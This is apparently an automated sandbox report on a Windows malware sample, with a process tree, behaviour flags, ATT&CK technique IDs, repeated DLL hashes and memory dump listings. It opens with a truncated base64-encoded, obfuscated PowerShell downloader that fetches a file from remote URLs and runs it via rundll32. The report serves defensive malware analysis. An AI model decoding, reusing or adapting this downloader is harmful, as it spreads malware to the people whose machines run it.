AJwArACcAKAApACgAKQBXAE4AKQAnACkAKQArACgAKAAnACgAJwArACcAaQBuAHYAJwApACkAKwAnAGUAJwArACgAJwBzAHQAbQBlAG4AJwArACcAdABlAHYAJwArACcAZQAnACkAKwAoACcAbgAnACsAJwBpAG4AJwApACsAJwBnAC4AJwArACgAJwBmAGkAJwArACcAcwBoAGUAJwApACsAKAAnAHIAZAAnACsAJwB1ACcAKQArACgAJwBnACcAKwAnAG0AbwByAGUAJwApACsAKAAoACcALgAnACsAJwBjAG8ALgB6AGEAJwArACcAKQAoACkAVwAnACkAKQArACgAKAAnAE4AKQAoACcAKwAnAHQAJwApACkAKwAoACcANgBxACcAKwAnAG0AJwArACcAeABuAC4AegBpAHAAJwApACkAKQAuACIAUgBgAGUAUABsAGAAQQBjAGUAIgAoACgAKAAnACkAJwArACcAKAAnACsAKAAoACcAKQAnACsAJwBXAE4AKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAUwBQAEwAYABpAFQAIgAoACQASQBwADgAbABzAGoAeAAgACsAIAAkAFoAegBjAHgAagB0AGQAIAArACAAJABZAGcAawBxAHMAdQB1ACkAOwAkAFkAMQBuADcAMQA2AGQAPQAoACcAUQBlACcAKwAnADYAJwArACgAJwB6ACcAKwAnADkAOQBpACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAHIAcABrADcAbQAzACAAaQBuACAAJABCAHQAOABuAG0AZAB4ACkAewB0AHIAeQB7ACQARgB4ADAAMgBoAG4ANQAuACIARABvAHcAYABOAGAAbABvAGAAQQBEAEYASQBMAGUAIgAoACQATwByAHAAawA3AG0AMwAsACAAJABKAGQAMwAxAGUAcABjACkAOwAkAEcAdwBtAHcANwA4ADEAPQAoACcARwAnACsAKAAnADgAYwAnACsAJwB6AGsAYQAnACkAKwAnAGQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAEoAZAAzADEAZQBwAGMAKQAuACIATABgAGUATgBnAFQAaAAiACAALQBnAGUAIAA0ADkAOAA5ADUAKQAgAHsALgAoACcAcgB1AG4AZABsAGwAMwAnACsAJwAyAC4AZQB4ACcAKwAnAGUAJwApACAAJABKAGQAMwAxAGUAcABjACwAMAA7ACQATwA0AHQAagBhAHUAcgA9ACgAKAAnAFAAJwArACcAeQBvAG8AOQAnACsAJwBqACcAKQArACcAYQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AaAA3AGgAOQBsAGEAPQAoACgAJwBXAHgANQAnACsAJwAzACcAKQArACcAcABhACcAKwAnAHcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHgAbgBmAHoAdABpAD0AKAAoACcAVwAnACsAJwBrAGsAJwApACsAKAAnAGoAbQBkACcAKwAnAGwAJwApACkA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:488

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Iok9bx2\Xcnevd7\Qdfo3phy.dll 0
2⤵
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Iok9bx2\Xcnevd7\Qdfo3phy.dll 0
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
PID:1220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Iok9bx2\Xcnevd7\Qdfo3phy.dll
MD5
e16a166beb4c710daa177c316febf54c

SHA1
4f2c2e15fbf3b683bc0dfe38353d2f7eee8632a4

SHA256
4ef049a69d2343a538b8563388f2a9f6838e8e864c6738b1e4934a4e377369a9

SHA512
1808ce32bdc372e464a0c8567b476d6a19eac45c187affc3216bdd98d3f7374fce64c2589e8de84cf4781638cd1f0026148b69358cc33327653d2432ce25ccb5

Download Submit
\Users\Admin\Iok9bx2\Xcnevd7\Qdfo3phy.dll
MD5
e16a166beb4c710daa177c316febf54c

SHA1
4f2c2e15fbf3b683bc0dfe38353d2f7eee8632a4

SHA256
4ef049a69d2343a538b8563388f2a9f6838e8e864c6738b1e4934a4e377369a9

SHA512
1808ce32bdc372e464a0c8567b476d6a19eac45c187affc3216bdd98d3f7374fce64c2589e8de84cf4781638cd1f0026148b69358cc33327653d2432ce25ccb5

Download Submit
\Users\Admin\Iok9bx2\Xcnevd7\Qdfo3phy.dll
MD5
e16a166beb4c710daa177c316febf54c

SHA1
4f2c2e15fbf3b683bc0dfe38353d2f7eee8632a4

SHA256
4ef049a69d2343a538b8563388f2a9f6838e8e864c6738b1e4934a4e377369a9

SHA512
1808ce32bdc372e464a0c8567b476d6a19eac45c187affc3216bdd98d3f7374fce64c2589e8de84cf4781638cd1f0026148b69358cc33327653d2432ce25ccb5

Download Submit
\Users\Admin\Iok9bx2\Xcnevd7\Qdfo3phy.dll
MD5
e16a166beb4c710daa177c316febf54c

SHA1
4f2c2e15fbf3b683bc0dfe38353d2f7eee8632a4

SHA256
4ef049a69d2343a538b8563388f2a9f6838e8e864c6738b1e4934a4e377369a9

SHA512
1808ce32bdc372e464a0c8567b476d6a19eac45c187affc3216bdd98d3f7374fce64c2589e8de84cf4781638cd1f0026148b69358cc33327653d2432ce25ccb5

Download Submit
\Users\Admin\Iok9bx2\Xcnevd7\Qdfo3phy.dll
MD5
e16a166beb4c710daa177c316febf54c

SHA1
4f2c2e15fbf3b683bc0dfe38353d2f7eee8632a4

SHA256
4ef049a69d2343a538b8563388f2a9f6838e8e864c6738b1e4934a4e377369a9

SHA512
1808ce32bdc372e464a0c8567b476d6a19eac45c187affc3216bdd98d3f7374fce64c2589e8de84cf4781638cd1f0026148b69358cc33327653d2432ce25ccb5

Download Submit
memory/488-5-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

Filesize
4KB

Download
memory/488-3-0x000007FEF5D20000-0x000007FEF670C000-memory.dmp

Filesize
9.9MB

Download
memory/488-7-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

Filesize
4KB

Download
memory/488-8-0x000000001C5A0000-0x000000001C5A1000-memory.dmp

Filesize
4KB

Download
memory/488-9-0x00000000026B0000-0x00000000026B1000-memory.dmp

Filesize
4KB

Download
memory/488-6-0x00000000024D0000-0x00000000024D1000-memory.dmp

Filesize
4KB

Download
memory/488-4-0x0000000001F80000-0x0000000001F81000-memory.dmp

Filesize
4KB

Download
memory/660-10-0x0000000000000000-mapping.dmp

Download
memory/1220-13-0x0000000000000000-mapping.dmp

Download
memory/1220-18-0x000000006BAA0000-0x000000006BADD000-memory.dmp

Filesize
244KB

Download
memory/1504-11-0x0000000000000000-mapping.dmp

Download
memory/1600-19-0x000007FEF7E60000-0x000007FEF80DA000-memory.dmp

Filesize
2.5MB

Download
memory/2036-0-0x0000000005684000-0x000000000568D000-memory.dmp

Filesize
36KB

Download
memory/2036-2-0x0000000005684000-0x000000000568D000-memory.dmp

Filesize
36KB

Download
memory/2036-1-0x00000000061D0000-0x00000000061D4000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads